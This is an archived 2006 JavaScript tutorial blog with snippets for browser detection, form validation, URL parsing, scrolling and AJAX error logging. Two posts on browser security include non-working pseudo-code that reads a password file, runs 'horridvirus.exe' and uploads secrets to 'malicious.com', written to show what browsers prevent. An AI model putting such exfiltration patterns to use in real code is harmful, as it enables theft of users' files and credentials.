A complete Javascript Blog

Javascript function to disable right click

2006-11-28T02:18:00.000-08:00

Disabling right click using Javascript function.

<script language="javascript" type="text/javascript">var IE;var NN;if(navigator.appName=="Microsoft Internet Explorer"){     IE=true;}if(navigator.appName=="Netscape"){    NN=true;}function right(click){    if(IE&&(event.button==2||event.button==3))    {        alert('The right click is disabled');        false;    }        if(NN&&(click.which==2||click.which==3))    {       alert('The right click is disabled');       false;    }}if(document.layers)window.captureEvents(Events.MOUSEDOWN)if(document.layers)window.captureEvents(Events.MOUSEUP)document.onmousedown=right;document.onmouseup=right;window.document.layers=right;</script>

Detecting the browser using simple javascript function

2006-10-11T22:31:00.000-07:00

Where the code used to check for if (ie) { ... }, now I wanted it to check for if (ie6OrLower) { ... }. So how to you tell the difference between IE 6 and IE 7+? You could parse the user-agent string, but I’d rather detect changes in the javascript object model. Here’s what I came up with:

if (typeof document.body.style.maxHeight != "undefined") {
  // IE 7, mozilla, safari, opera 9
} else {
  // IE6, older browsers
}

This distinguishes between browsers based on the fact that IE 7 knows about the maxHeight css property, whereas previous versions of IE didn’t.

Simple javascript function to open all the collapsible panels

2006-10-10T22:06:00.000-07:00

function OpenAll(sender)
    {
        if(sender == 'ctl00_CPH_CustomerCP')
        {
            var ids = ['ctl00_CPH_LiabilitiesCP','ctl00_CPH_IncomeCP'];
        }
        
        else if(sender == 'ctl00_CPH_LiabilitiesCP')
        {
            var ids = ['ctl00_CPH_CustomerCP','ctl00_CPH_IncomeCP'];
        }
        
        else if(sender == 'ctl00_CPH_IncomeCP')
        {
            var ids = ['ctl00_CPH_CustomerCP','ctl00_CPH_LiabilitiesCP'];
        }
        
        for (var i = 0; i < ids.length; i++)
        {
            var ctrl = $object(ids[i]);
            if (!ctrl) continue;
            
            // Musze sprawdzic wszystkie mozliwe zachowania
            var behaviors = ctrl.get_behaviors();
            for (var j = 0; j < behaviors.length; j++)
            {
                // Sprawdzam czy mamy CP o podanej nazwie
                var behavior = behaviors[j];
                if (Object.getTypeName(behavior) == 'AtlasControlToolkit.CollaspablePanelBehavior')
                {
                    behavior._doOpen();
                }
            }
        }
    }

Technorati tags: javascript function, open, collapsible panels, javascript

A simple javascript function to validate email address

2006-10-10T22:04:00.000-07:00

This is a simple javascript funciton which validates the entered email address. You can add this to your javascript library functions. Know more information from this link

//calling the method
btnSubmit.Attributes.Add("OnClick", "javascript:return CheckEmail('txtEmail');")
  
//function CheckEmail
                function CheckEmail(ControlID)
	                {
	                    var str=document.getElementById(ControlID).value;	 
		                if (str != "" )
		                {
		                    
			                var at="@"
			                var dot="."
			                var lat=str.indexOf(at)
			                var lstr=str.length
			                var ldot=str.indexOf(dot)
                							
				                if (str.indexOf(at)==-1)
				                {
					                alert("Invalid E-mail ID");
					                document.getElementById(ControlID).focus();					
					                return false;
				                }

				                if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr)
				                {
					                alert("Invalid E-mail ID");	
					                document.getElementById(ControlID).focus();					
					                return false;
				                }

				                if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr)
				                {
					                alert("Invalid E-mail ID");
					                document.getElementById(ControlID).focus();						
					                return false;
				                }

				                if (str.indexOf(at,(lat+1))!=-1)
				                {
					                alert("Invalid E-mail ID");
					                document.getElementById(ControlID).focus();	
					                return false;
				                }

				                if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot)
				                {
					                alert("Invalid E-mail ID");
					                document.getElementById(ControlID).focus();	
					                return false;
				                }

				                if (str.indexOf(dot,(lat+2))==-1)
				                {
					                alert("Invalid E-mail ID");
					                document.getElementById(ControlID).focus();	
					                return false;
				                }

				                if (str.indexOf(" ")!=-1)
				                {
					                alert("Invalid E-mail ID");
					                document.getElementById(ControlID).focus();	
					                return false;
				                }
 			                return true;
 		                }
		           }

The list of different Javascript Versions

2006-09-25T23:11:00.000-07:00

JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.

JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting language (even though there's no fundamental reason why it can't be used in a server side environment).

Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a "dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.

Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.

Javascript Versions

There have been several formal versions of JavaScript.

1.0: Netscape 2
1.1: Netscape 3 and Explorer 3 (the latter has bad JavaScript support, regardless of its version)
1.2: Early Version 4 browsers
1.3: Later Version 4 browsers and Version 5 browsers
1.4: Not used in browsers, only on Netscape servers
1.5: Current version.
2.0: Currently under development by Brendan Eich and others.

Originally, these version numbers were supposed to give support information. This-and-that method would only be supported by browsers understanding JavaScript 1.something . The higher the version number, the more nifty features the browser would support.

Get more information

Tags: javascript, javascript versions, livescript, netscape, browser, html pages, sun, brendan eich, server side

The Security provided by Javascript Language

2006-09-25T23:08:00.000-07:00

JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.

You cannot set the value of a file upload field (<input type="file">).

document.forms[0].upload_field.value = '/my/password/file';
document.forms[0].submit();

If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
However, this rule isn't implemented in all browsers and is easy to work around in Explorer.
If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
You should not be able to open a new window smaller than 100x100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Get more information

Tags: javascript, javascript security, html page, web page, password file, malicious site, frame busting, script, frameset, submit form

The following Javascript cannot do...

2006-09-25T23:05:00.000-07:00

JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.

But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.

Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.

So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.

JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard
```
filesystem.read('/my/password/file');
filesystem.write('horridvirus.exe');
```
JavaScript cannot execute any other programs. This would also be unacceptable
```
execute('horridvirus.exe')
```

JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

var security_hazard = connection.open('malicious.com');
security_hazard.upload(filesystem.read('/my/password/file'));
security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas.

Get more information

Tags: javascript, programming language, scripting language, browser, browser support

A simple Javascript function to get URL parameters

2006-09-19T08:13:00.000-07:00

Most of the server-side programming languages that I know of like PHP, ASP, or JSP give you easy access to parameters in the query string of a URL. Javascript does not give you easy access. With javascript you must write your own function to parse the window.location.href value to get the query string parameters you want. Here is a small function I wrote that will parse the window.location.href value and return the value for the parameter you specify. It does this using javascript's built in regular expressions. Here is the function:

function gup( name )
{
  var regexS = "[\\?&]"+name+"=([^&#]*)";
  var regex = new RegExp( regexS );
  var tmpURL = window.location.href;
  var results = regex.exec( tmpURL );
  if( results == null )
    return "";
  else
    return results[1];
}

The way that the function is used is fairly simple. Let's say you have the following URL:

http://www.foo.com/index.html?bob=123&frank=321&tom=213#top

You want to get the value from the frank parameter so you call the javascript function as follows:

var frank_param = gup( 'frank' );

Now if you look at the frank_param variable it contains the number 321. The query string was parsed by the regular expression and the value of the frank parameter was retrieved. The function is smart in a couple of ways. For example, if you have an anchor in your URL like our example URL above does (#top) the gup() function knows to stop before the # character. Also, if a requested parameter doesn't exist in the query string then an empty string is returned instead of a null.

Get more information

Tags: javascript, url parameters, get url parameters, server side, window.location.href, javascript function

Getting the Scrolling position using Javascript

2006-09-07T06:08:00.000-07:00

Page scrolling is one of the least-standardized properties in JavaScript: three variations are now in use by different versions of different browsers. But with a few careful object tests, we can reliably get a consistent value.

Solution

There are three ways of getting this information. We'll use object tests on each approach, to determine the level of support available:

Example 7.8. get-scrolling-position.js (excerpt) function getScrollingPosition() { var position = [0, 0]; if (typeof window.pageYOffset != 'undefined') { position = [ window.pageXOffset, window.pageYOffset ]; } else if (typeof document.documentElement.scrollTop != 'undefined' && document.documentElement.scrollTop > 0) { position = [ document.documentElement.scrollLeft, document.documentElement.scrollTop ]; } else if (typeof document.body.scrollTop != 'undefined') { position = [ document.body.scrollLeft, document.body.scrollTop ]; } return position; }

The function can now be called as required. Here's a simple demonstration, using a window.onscroll event handler, that gets the figures and writes them to the title bar:

Example 7.9. get-scrolling-position.js (excerpt) window.onscroll = function() { var scrollpos = getScrollingPosition(); document.title = 'left=' + scrollpos[0] + ' top=' + scrollpos[1]; };

The Problem with scroll

scroll is not the most reliable of events: it may not fire at all in Konqueror or Safari 1.0, or when the user navigates with a mouse wheel in Firefox. And if it does fire, it may do so continually and rapidly (as it does in Internet Explorer), which can be slow and inefficient if the scripting you set to respond to the event is very complex.

If you have difficulties of this kind, you may find it better to use the setInterval function instead of an onscroll event handler. setInterval will allow you to call the function at a predictable interval, rather than in response to an event.

window.setInterval(function() { var scrollpos = getScrollingPosition(); document.title = 'left=' + scrollpos[0] + ' top=' + scrollpos[1]; }, 250);

Discussion

The only real complication here is that IE 5 actually does recognize the documentElement.scrollTop property, but its value is always zero, so we have to check the value as well as looking for the existence of the property.

Otherwise, it doesn't really matter to us which browser is using which property; all that matters is that our script gets through one of the compatibility tests and returns a useful value. However, the properties used by each browser are shown here for reference:

window.pageYOffset is used by Firefox and other Mozilla browsers, Safari, Konqueror, and Opera.
document.documentElement.scrollTop is used by IE 6 in standards-compliant mode.
document.body.scrollTop is used by IE 5, and IE 6 in "Quirks" mode.

This list doesn't tell the complete story, but it's intended primarily to describe the ordering of the tests. More recent Mozilla browsers (such as Firefox) also support documentElement.scrollTop and body.scrollTop, by the same rendering mode rules as IE 6. Safari and Konqueror support body.scrollTop in either mode. Opera supports all three properties in any mode!

But none of this is important for you to know -- browser vendors add these multiple properties to allow for scripts that are unaware of one property or another, not to provide arbitrary choices for the sake of it. From our perspective, the important point is to settle on a set of compatibility tests that ensures our script will work as widely as possible.

Get more information

Tags: scroll position, javascript, javascript code, mouse position, browsers, page scrolling, scrolltop

AJAX, PHP and Javascript Errors

2006-09-04T22:50:00.000-07:00

Javascript is a powerful tool in the web programmers toolbox however, it's also one of our greatest headaches. Dealing with browser inconsistencies is always a source of great pain. You test on multiple platforms, find everyone you know with a mac running safari and think you have your code locked down however it rarely always works out this way. Being able to detect javascript errors in the wild can be a great resource for you to really see how your code is performing on a day to day basis. Mozilla and IE support a powerful event handler called "onerror" used like window.onerror = function(){};
You can create a custom function at the top of all your scripts that will record any parsing or exception errors generated. You can create your function to accept 3 parameters, the message of the error, the URL of the error and the Line number of the error. Creating this function is as simple as so:

 
<SCRIPT>
window.onerror = function(msg, err_url, line) {
alert('an error occured on line: ' + line);
}
</SCRIPT>

Now the end user really doesn't care which line an error occurred on but the powerful part is being able to get this information back to the developers. Using AJAX technologies you can easily record a log of all js errors on your site so you can take appropriate action to fix these issues. Not only can you include msg, line and error URL, but you can also send any other information javascript can capture such as referring page and the type of browser the client is using.
I'm going to use my standard AJAX class I use in my applications. I'm not a big fan of overhyped, oversized, slow AJAX frameworks that take a very simple concept and turn it into a serialized mess so I just use my trusty 97 line js class which can be found here http://www.litfuel.net/tutorials/js_errors/class_xmlhttp.js. I'm not going to go over ajax as I'm sure there are many other places you can get the basics. Basically this script just allows you to create an XMLHTTP object and pass POST parameters and a callback function.
To use the object you simple write:

 
// post data you want to send to the server
var POSTData = 'msg=' + msg ; 
 
// create the actual xmlhttprequest object and pass the URL of the PHP page you want to call  
var s = new XMLHTTP("error_server.php?");   
 
// post data to the server and assign processReqChange as the function to call back when the data is posted
var xmlDoc = s.call(POSTData, processReqChange);

Putting these two things together you can now log all of your JS error msgs behind the scenes and create an offline viewer that you and your other programmers can sift through. I prefer to err on the side of performance so the goal is just to log some quick info to the server and set up a cron job to email that data each night to the developers.

FILE 1 - Our main HTML File index.html

 
<HTML>
<HEAD>
<TITLE></TITLE>
<SCRIPT SRC="class_xmlhttp.js" type="text/javascript"></SCRIPT>
<SCRIPT SRC="js_error_logger.js" type="text/javascript"></SCRIPT>
<SCRIPT>
// This function does not exist so it will generate an exception error
test();
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

So what we're doing here is first including our XMLHTTPRequest class to instantiate our JS Object, then including the onerror functionality that will log the data to our server on every webpage. You can find the js_error_logger.js file here: http://www.litfuel.net/tutorials/js_errors/js_error_logger.js
js_error_logger.js file:

Javascript and Java

2006-09-04T22:48:00.000-07:00

JavaScript and Java are similar in some ways but fundamentally different in others. The JavaScript language resembles Java but does not have Java's static typing and strong type checking. JavaScript supports most Java expression syntax and basic control-flow constructs.

In contrast to Java's compile-time system of classes built by declarations, JavaScript supports a runtime system based on a small number of data types representing numeric, Boolean, and string values. JavaScript has a prototype-based object model instead of the more common class-based object model. The prototype-based model provides dynamic inheritance; that is, what is inherited can vary for individual objects. JavaScript also supports functions without any special declarative requirements. Functions can be properties of objects, executing as loosely typed methods.

JavaScript is a very free-form language compared to Java. You do not have to declare all variables, classes, and methods. You do not have to be concerned with whether methods are public, private, or protected, and you do not have to implement interfaces. Variables, parameters, and function return types are not explicitly typed.

Java is a class-based programming language designed for fast execution and type safety. Type safety means, for instance, that you can't cast a Java integer into an object reference or access private memory by corrupting Java bytecodes. Java's class-based model means that programs consist exclusively of classes and their methods. Java's class inheritance and strong typing generally require tightly coupled object hierarchies. These requirements make Java programming more complex than JavaScript authoring.

In contrast, JavaScript descends in spirit from a line of smaller, dynamically typed languages such as HyperTalk and dBASE. These scripting languages offer programming tools to a much wider audience because of their easier syntax, specialized built-in functionality, and minimal requirements for object creation.

What is Javascript?

2006-09-04T22:41:00.000-07:00

JavaScript is Netscape's cross-platform, object-oriented scripting language. JavaScript is a small, lightweight language; it is not useful as a standalone language, but is designed for easy embedding in other products and applications, such as web browsers. Inside a host environment, JavaScript can be connected to the objects of its environment to provide programmatic control over them.

Core JavaScript contains a core set of objects, such as Array, Date, and Math, and a core set of language elements such as operators, control structures, and statements. Core JavaScript can be extended for a variety of purposes by supplementing it with additional objects; for example:

Client-side JavaScript extends the core language by supplying objects to control a browser (Navigator or another web browser) and its Document Object Model (DOM). For example, client-side extensions allow an application to place elements on an HTML form and respond to user events such as mouse clicks, form input, and page navigation.
Server-side JavaScript extends the core language by supplying objects relevant to running JavaScript on a server. For example, server-side extensions allow an application to communicate with a relational database, provide continuity of information from one invocation to another of the application, or perform file manipulations on a server.

Through JavaScript's LiveConnect functionality, you can let Java and JavaScript code communicate with each other. From JavaScript, you can instantiate Java objects and access their public methods and fields. From Java, you can access JavaScript objects, properties, and methods.

Netscape invented JavaScript, and JavaScript was first used in Netscape browsers.

JavaScript Persistent Object Notation (JPON)

2006-09-01T06:34:00.000-07:00

JavaScript Persistent Object Notation (JSPON) is a data-interchange format with the goal of simply being a defined usage of JavaScript Object Notation (JSON, see www.json.org) to facilitate JavaScript objects that are intended to persist by defining a scheme to provide the necessary semantics needed for efficient and meaningful persistent objects. JSPON is pure JSON and maintains the same simplicity of JSON, and establishes a format for serializing and referring to objects to enable the persistence of JavaScript objects and object graphs by defining a set of fields for identification, deferred value loading, decentralized object creation, and primitive value, function and array object augmentation.

JSON provides simple straightforward mechanism for serialization of objects that can efficiently and easily be read by humans and machines. JSON can be adequate for the persistence of simple small objects. However applications that have large complex object graphs and sets of data generally require the exchange of smaller subsets of the data/object graph to be transferred and persisted at a time rather than requiring an entire object graph to be treated as whole, as well as allow objects to be referred from multiple fiels. Such operations on subsets of data entail identifying objects within a graph and allowing for transfers of subsections of object graphs (and not just end point subsets). JSPON provides the common language so that objects can be passed with proper identification and reference information. This also allows objects to be referred to more than once (not possible within a normal JSON object graph). Standard JSPON simply defines several fields that can be added to JSON object to assist in data description.

Tags: JSPON, javascript, persistent objects

How to enable JavaScript in different browsers

2006-08-30T06:33:00.000-07:00

First determine what browser version is in use. From the browser's Help menu choose the last item labelled About [browser name]. Macintosh users should go to the application name menu or the Apple menu and select the first item labelled About [browser name].

Next, choose from the information below to find instructions on how to enable Netscape and Internet Explorer browsers to be JavaScript capable.
- Internet Explorer 5.x or 6.x
  1. From the browser's Tools menu select Internet Options
  2. Select Security
  3. Click the Custom Level button near the bottom of the window
  4. Scroll down untill you find a section called Scripting (you may need to double click on icons to expand lists) and a subsection called Active scripting
  5. Select Enable
  6. Click OK and Yes to confirm and close the Security Settings dialog box, then OK again to close the Internet Options box
  7. Click Refresh to reshow the current page.
- Internet Explorer 5.x - Macintosh
  1. From the browser's Edit menu select Preferences
  2. Within the left-hand pick list, expand the item group Web Browser (if necessary)
  3. Under the item group labelled Web Browser, select Web Control
  4. Check the box labelled Enable JavaScript and click OK to close the Internet Explorer Preferences box
  5. Click Refresh to reshow the current page.
- Netscape 7.x
  1. From the browser's Edit menu select Preferences
  2. Within the Category pick list, expand the Advanced item
  3. Select the sub item Scripts & Plugins
  4. Check Navigator under the Enable JavaScript for grouping
  5. Click OK to close the Preferences box
  6. Click Reload to reshow the current page.
- Netscape 6.x
  1. From the browser's Edit menu select Preferences
  2. Within the Category pick list, expand the Advanced item
  3. Check Enable JavaScript for Navigator
  4. Click OK to close the Preferences box
  5. Click Reload to reshow the current page.

Tags: javascript, javascript enable, browsers, IE, firefox, macintosh, netscape, help, enable javascript, preferences, scripts, settings

CSS Properties To JavaScript Reference Conversion

2006-08-21T07:27:00.000-07:00

I recently came across a site which compares CSS properties to javascript reference. It tables up all the different css properties and its conversion in javascript reference. It is a good to have link for a quick reference while programming.

Tags: css properties, javascript, css to javascript

Mouse wheel programming in JavaScript

2006-08-21T07:21:00.000-07:00

Web applications are becoming more and more like “normal” desktop applications. Of course, they are more and more functional, but smooth user interface acts the primary role. So we have drag and drop, auto completion, and much more. Many of those nice features got possible only with help of AJAX.
This page, however, is not about AJAX (or any other buzzword). It is about rather simple user input method -- mouse wheel. I believe it would now be difficult to find a mouse without wheel. Vast majority of users are used to the wheel as a control for scrolling in lists, zooming etc. Rather few web applications, however, make smart use of mouse wheel. This page is to provide you with general information about handling mouse wheel-generated events in JavaScript programming language.
This page has annotated javascript code, which should explain the magic behind mouse wheel generated events.

Tags: wheel programming, javascript, AJAX

Javascript error logging with AJAX

2006-08-21T07:18:00.000-07:00

You spent days and nights making your javascript perfect but still users complains about errors. There is a way of making the debugging process a little less painful by logging javascript errors. Every javascript error can be trapped in the window.onerror event. We can return true or false so we can choose if the user shall see the normal javascript error dialog. This script will, in the very unlikely event of a javascript error, gather information about the error and send a httprequest to a page which will log the javascript error to the database.

function doError(msg,url,ln) {
    var strValues = "errMsg=" + escape(msg);
    strValues += "&errLine=" + ln;
    strValues += "&queryString=" + escape(location.search);
    strValues += "&Url=" + escape(location.pathname);
    strValues += "&HTTPRef=" + escape(document.referrer);

    if (typeof XMLHttpRequest != "object") {
        function XMLHttpRequest() {
            return new ActiveXObject("Microsoft.XMLHTTP");
        }
    }
    var objSave = new XMLHttpRequest();
    objSave.open("GET", "/errorSave/?" + strValues, false);
    objSave.send("");
}

try {
    window.onerror = doError;
}
catch(er) {}

More information at this post

Tags: AJAX, JavaScript

Javascript Triggers

2006-08-17T05:04:00.000-07:00

The front end of a website consists of three layers. XHTML forms the structural layer, which contains structural, semantic markup and the content of the site. To this layer you can add a presentation layer (CSS) and a behavior layer (JavaScript) to make your website more beautiful and user-friendly. These three layers should remain strictly separate. For instance, it should be possible to rewrite the entire presentation layer without touching either the structural or the behavior layer.
Despite this strict separation, the presentation and behavior layers need instructions from the structural layer. They must know where to add that touch of style, when to initiate that smooth bit of behavior. They need triggers.
CSS triggers are well known. The class and id attributes allow you to fully control the presentation of your websites. Although it is possible to work without these triggers, by putting the instructions in inline style attributes, this method of coding is deprecated. If you want to redefine your site’s presentation while using them you’re forced to change the XHTML structural layer, too; their presence violates the separation of presentation and structure. Read more on Javascript Triggers at this post

Tags: javascript, javascript triggers, css, xhtml, website, trigger

Animated Page Scrolling with Javascript

2006-08-16T03:46:00.000-07:00

It might seem like nothing but eye candy, but it can be a great way to lead a user around a page while still giving them some context as to where they are. Clicking on an anchor link that jumps straight to another part of the page can be jarring and disorienting. Animating the scroll shows clearly where they came from and how to get back there. It's also a great example of how to create private methods and members in Javascript objects. See the code in action on the example page.

The fundamental idea is simple: using window.scrollTo(x, y), it's possible to jump the scroll bar to any point on the page. If we were to jump a couple of pixels at a time, over 2 or 3 seconds, it would look like the window was being scrolled through. Couple that with some functions that find all links to an anchor on a page (#home, #end, etc.) and attach an onclick event to them, and you have a flashy effect that degrades gracefully on browsers that don't have Javascript enabled. Non-JS users still get the normal anchor links, and everyone else gets the scrolling animation. Read more

Tags: Anchor link, javascript object, scroll bar, animation

My First Post

2006-08-11T03:00:00.000-07:00

function firstpost()
{
alert("Hello World...");
}